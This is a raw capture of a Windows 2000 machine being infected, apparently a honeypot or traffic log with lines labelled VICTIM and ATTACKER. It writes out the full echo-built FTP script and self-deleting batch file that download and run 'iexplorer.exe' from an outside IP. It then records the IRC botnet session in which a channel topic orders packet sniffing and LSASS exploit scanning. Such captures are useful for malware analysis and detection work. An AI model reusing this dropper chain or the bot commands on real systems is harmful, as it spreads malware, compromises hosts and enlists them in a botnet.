VICTIM:  	Microsoft Windows 2000 [Version 5.00.2195] 
VICTIM:  	(C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> 
VICTIM:  	echo open 221.171.136.231 14545>.pif C:\\WINNT\\system32> 
VICTIM:  	echo user a a>>.pif C:\\WINNT\\system32> 
VICTIM:  	echo binary>>.pif C:\\WINNT\\system32>echo GET iexplorer.exe>>.pif C:\\WINNT\\system32> 
VICTIM:  	echo bye>>.pif C:\\WINNT\\system32> 
VICTIM:  	echo @echo off >c.batC:\\WINNT\\system32> 
VICTIM:  	echo ftp -n -v -s:.pif >>c.batC:\\WINNT\\system32> 
VICTIM:  	echo iexplorer.exe >>c.batC:\\WINNT\\system32> 
VICTIM:  	echo del .pif >>c.batC:\\WINNT\\system32> 
VICTIM:  	echo del /F c.bat >>c.batC:\\WINNT\\system32> 
VICTIM:  	echo exit /y >>c.bat 
VICTIM:  	C:\\WINNT\\system32> 
VICTIM:  	c.bat 
ATTACKER:	220  
VICTIM:  	USER a 
ATTACKER:	331  
VICTIM:  	PASS a 
ATTACKER:	230  
VICTIM:  	TYPE I 
ATTACKER:	200  
VICTIM:  	PORT 192,168,1,34,4, 
ATTACKER:	200  
ATTACKER:	RETR iexplorer.exe 
ATTACKER:	150  
ATTACKER:	226  
VICTIM:  	QUIT 
ATTACKER:	221  
VICTIM:  	NICK `knoovalUSER `knooval 0 0 :`knooval 
ATTACKER:	:aaa.40796.com 001 `knooval :time, `knooval!~knooval@192.168.1.34:aaa.40796.com 005 `knooval MAP KNOCK SAFELIST HCN MAXCHANNELS=500 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:aaa.40796.com 005 `knooval WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=time CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:aaa.40796.com 422 `knooval :MOTD File is missing:`knooval MODE `knooval :+i 
VICTIM:  	JOIN #.has hs 
ATTACKER:	:`knooval!~knooval@192.168.1.34 JOIN :#.has:aaa.40796.com 332 `knooval #.has :.join #.k |`sniff.on -s |`adv.start lsass 100 3 0 x.x.x.x -r -s |`i.join #.sd:aaa.40796.com 333 `knooval #.has jims 1218486834:aaa.40796.com 353 `knooval @ #.has :`knooval @yess :aaa.40796.com 366 `knooval #.has :End of /NAMES list. 
VICTIM:  	USERHOST `knoovalJOIN #.has hsUSERHOST `knoovalJOIN #.has hsUSERHOST `knooval 
ATTACKER:	:aaa.40796.com 302 `knooval :`knooval=+~knooval@192.168.1.34    :aaa.40796.com 302 `knooval :`knooval=+~knooval@192.168.1.34    :aaa.40796.com 302 `knooval :`knooval=+~knooval@192.168.1.34     
VICTIM:  	JOIN #.sd  
ATTACKER:	:`knooval!~knooval@192.168.1.34 JOIN :#.sd:aaa.40796.com 353 `knooval @ #.sd :`knooval @yess :aaa.40796.com 366 `knooval #.sd :End of /NAMES list.